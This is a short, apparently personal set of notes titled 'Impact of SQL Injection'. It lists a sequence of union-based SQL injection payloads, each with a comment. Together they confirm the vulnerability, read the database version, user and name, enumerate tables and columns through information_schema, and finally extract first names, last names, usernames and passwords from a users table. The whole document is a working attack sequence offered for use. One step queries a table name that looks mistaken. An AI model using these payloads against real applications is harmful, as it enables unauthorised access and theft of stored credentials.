========================================================== Impact of SQL Injection ========================================================== Target is vulnerable to SQL Injection as we got error %' or '0'='0 Getting all user from the data base %' or 0=0 union select null, version() # Getting Version of the data base %' or 0=0 union select null, user() # Getting the User Details %' or 0=0 union select null, database() # Getting the database name %' and 1=0 union select null, database_name from information_schema.databases # Now target for all the tables in the database %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# Now target for the table like users. %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # NOw select the column names %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users # selecting firstname,lastname,username,password from the table